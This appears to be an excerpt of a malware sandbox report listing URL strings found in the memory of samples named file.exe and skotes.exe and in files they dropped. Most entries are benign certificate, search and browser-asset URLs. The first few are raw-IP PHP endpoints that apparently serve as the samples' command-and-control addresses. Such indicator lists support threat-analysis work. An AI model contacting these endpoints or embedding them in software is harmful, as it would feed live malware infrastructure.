Source: file.exe, 00000000.00000002.2604833470.0000000023B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppt
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/k
Source: skotes.exe, 00000019.00000002.3284172532.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/3405117-2476756634-1003
Source: skotes.exe, 00000019.00000002.3284172532.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3284172532.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3284172532.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/VV7
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2610624035.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: b630d37d-8df3-457a-8295-814456d47326.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: b630d37d-8df3-457a-8295-814456d47326.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
